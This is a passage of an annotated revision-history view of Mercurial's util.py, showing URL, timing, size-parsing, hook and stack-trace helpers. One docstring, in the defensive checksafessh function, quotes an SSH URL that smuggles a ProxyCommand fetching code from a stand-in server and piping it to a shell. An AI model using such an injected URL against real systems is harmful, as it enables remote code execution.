parents:
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diff
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|
3275 |
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diff
changeset
|
3276 |
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
3277 def urllocalpath(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3278 return url(path, parsequery=False, parsefragment=False).localpath() |
924c82157d46
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parents:
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diff
changeset
|
3279 |
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parents:
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diff
changeset
|
3280 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3281 def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3282 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3283 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3284 This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3285 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3286 Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3287 user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3288 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3289 Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3290 """ |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3291 path = urlreq.unquote(path) |
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parents:
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diff
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|
3292 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
43076
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parents:
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diff
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|
3293 raise error.Abort( |
43077
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parents:
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diff
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|
3294 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
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parents:
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diff
changeset
|
3295 ) |
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diff
changeset
|
3296 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3297 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
3298 def hidepassword(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3299 '''hide user credential in a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3300 u = url(u) |
924c82157d46
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parents:
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diff
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|
3301 if u.passwd: |
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parents:
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diff
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|
3302 u.passwd = b'***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3303 return bytes(u) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
3304 |
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changeset
|
3305 |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
3306 def removeauth(u): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3307 '''remove all authentication information from a url string''' |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3308 u = url(u) |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
3309 u.user = u.passwd = None |
37366
b23e3cc1afd4
py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
37322
diff
changeset
|
3310 return bytes(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
3311 |
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|
3312 |
18736
af9ddea2cb99
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parents:
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diff
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|
3313 timecount = unitcountfn( |
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|
3314 (1, 1e3, _(b'%.0f s')), |
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|
3315 (100, 1, _(b'%.1f s')), |
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|
3316 (10, 1, _(b'%.2f s')), |
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|
3317 (1, 1, _(b'%.3f s')), |
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parents:
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|
3318 (100, 0.001, _(b'%.1f ms')), |
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parents:
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diff
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|
3319 (10, 0.001, _(b'%.2f ms')), |
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parents:
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|
3320 (1, 0.001, _(b'%.3f ms')), |
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parents:
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|
3321 (100, 0.000001, _(b'%.1f us')), |
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parents:
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|
3322 (10, 0.000001, _(b'%.2f us')), |
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|
3323 (1, 0.000001, _(b'%.3f us')), |
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diff
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|
3324 (100, 0.000000001, _(b'%.1f ns')), |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
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diff
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|
3325 (10, 0.000000001, _(b'%.2f ns')), |
687b865b95ad
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parents:
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diff
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|
3326 (1, 0.000000001, _(b'%.3f ns')), |
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changeset
|
3327 ) |
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diff
changeset
|
3328 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
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diff
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|
3329 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
3330 @attr.s |
8751d1e2a7ff
util: create a context manager to handle timing
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parents:
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diff
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|
3331 class timedcmstats(object): |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
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|
3332 """Stats information produced by the timedcm context manager on entering.""" |
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util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
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38713
diff
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|
3333 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
changeset
|
3334 # the starting value of the timer as a float (meaning and resulution is |
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util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
3335 # platform dependent, see util.timer) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
3336 start = attr.ib(default=attr.Factory(lambda: timer())) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
3337 # the number of seconds as a floating point value; starts at 0, updated when |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
3338 # the context is exited. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
changeset
|
3339 elapsed = attr.ib(default=0) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
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38713
diff
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|
3340 # the number of nested timedcm context managers. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
changeset
|
3341 level = attr.ib(default=1) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
changeset
|
3342 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3343 def __bytes__(self): |
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parents:
43076
diff
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|
3344 return timecount(self.elapsed) if self.elapsed else b'<unknown>' |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
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diff
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|
3345 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3346 __str__ = encoding.strmethod(__bytes__) |
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
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38797
diff
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|
3347 |
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|
3348 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
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diff
changeset
|
3349 @contextlib.contextmanager |
39259
e00123f63410
util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents:
39258
diff
changeset
|
3350 def timedcm(whencefmt, *whenceargs): |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
3351 """A context manager that produces timing information for a given context. |
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|
3352 |
8751d1e2a7ff
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changeset
|
3353 On entering a timedcmstats instance is produced. |
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|
3354 |
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diff
changeset
|
3355 This context manager is reentrant. |
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diff
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|
3356 |
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diff
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|
3357 """ |
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|
3358 # track nested context managers |
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|
3359 timedcm._nested += 1 |
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diff
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|
3360 timing_stats = timedcmstats(level=timedcm._nested) |
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|
3361 try: |
39257
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3362 with tracing.log(whencefmt, *whenceargs): |
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3363 yield timing_stats |
38797
8751d1e2a7ff
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|
3364 finally: |
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diff
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|
3365 timing_stats.elapsed = timer() - timing_stats.start |
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|
3366 timedcm._nested -= 1 |
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|
3367 |
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|
3368 |
38797
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changeset
|
3369 timedcm._nested = 0 |
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|
3370 |
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|
3371 |
18736
af9ddea2cb99
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diff
changeset
|
3372 def timed(func): |
af9ddea2cb99
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18735
diff
changeset
|
3373 '''Report the execution time of a function call to stderr. |
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diff
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|
3374 |
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|
3375 During development, use as a decorator when you need to measure |
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diff
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|
3376 the cost of a function, e.g. as follows: |
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diff
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|
3377 |
af9ddea2cb99
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diff
changeset
|
3378 @util.timed |
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diff
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|
3379 def foo(a, b, c): |
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diff
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|
3380 pass |
af9ddea2cb99
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diff
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|
3381 ''' |
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diff
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|
3382 |
af9ddea2cb99
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Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3383 def wrapper(*args, **kwargs): |
39258
331ab85e910b
cleanup: make all uses of timedcm specify what they're timing
Augie Fackler <augie@google.com>
parents:
39257
diff
changeset
|
3384 with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3385 result = func(*args, **kwargs) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3386 stderr = procutil.stderr |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3387 stderr.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3388 b'%s%s: %s\n' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3389 % ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3390 b' ' * time_stats.level * 2, |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3391 pycompat.bytestr(func.__name__), |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3392 time_stats, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3393 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3394 ) |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3395 return result |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3396 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3397 return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3398 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3399 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3400 _sizeunits = ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3401 (b'm', 2 ** 20), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3402 (b'k', 2 ** 10), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3403 (b'g', 2 ** 30), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3404 (b'kb', 2 ** 10), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3405 (b'mb', 2 ** 20), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3406 (b'gb', 2 ** 30), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3407 (b'b', 1), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3408 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3409 |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3410 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3411 def sizetoint(s): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3412 '''Convert a space specifier to a byte count. |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3413 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3414 >>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3415 30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3416 >>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3417 2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3418 >>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3419 6291456 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3420 ''' |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3421 t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3422 try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3423 for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3424 if t.endswith(k): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3425 return int(float(t[: -len(k)]) * u) |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3426 return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3427 except ValueError: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3428 raise error.ParseError(_(b"couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3429 |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3430 |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3431 class hooks(object): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3432 '''A collection of hook functions that can be used to extend a |
26098 | 3433 function's behavior. Hooks are called in lexicographic order, |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3434 based on the names of their sources.''' |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3435 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3436 def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3437 self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3438 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3439 def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3440 self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3441 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3442 def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3443 self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3444 results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3445 for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3446 results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3447 return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3448 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3449 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3450 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3451 '''Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3452 Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3453 Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3454 Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3455 If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3456 length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3457 filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3458 function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3459 |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3460 Not be used in production code but very convenient while developing. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3461 ''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3462 entries = [ |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3463 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3464 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3465 ][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3466 if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3467 fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3468 for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3469 if line is None: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3470 yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3471 else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3472 yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3473 |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3474 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3475 def debugstacktrace( |
43077
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3476 msg=b'stacktrace', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3477 skip=0, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3478 f=procutil.stderr, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3479 otherf=procutil.stdout, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3480 depth=0, |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3481 ): |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3482 '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3483 Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3484 By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3485 It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3486 Not be used in production code but very convenient while developing. |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3487 ''' |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3488 if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3489 otherf.flush() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3490 f.write(b'%s at:\n' % msg.rstrip()) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3491 for line in getstackframes(skip + 1, depth=depth): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3492 f.write(line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3493 f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3494 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3495 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3496 class dirs(object): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3497 '''a multiset of directory names from a dirstate or manifest''' |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3498 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3499 def __init__(self, map, skip=None): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3500 self._dirs = {} |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3501 addpath = self.addpath |
42641
b5092c23ca35
py: error out if a "skip" character was given with non-dict to util.dirs()
Martin von Zweigbergk <martinvonz@google.com>
parents:
42538
diff
changeset
|
3502 if isinstance(map, dict) and skip is not None: |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3503 for f, s in map.iteritems(): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3504 if s[0] != skip: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3505 addpath(f) |
42641
b5092c23ca35
py: error out if a "skip" character was given with non-dict to util.dirs()
Martin von Zweigbergk <martinvonz@google.com>
parents:
42538
diff
changeset
|
3506 elif skip is not None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3507 raise error.ProgrammingError( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3508 b"skip character is only supported " b"with a dict source" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3509 ) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3510 else: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3511 for f in map: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3512 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
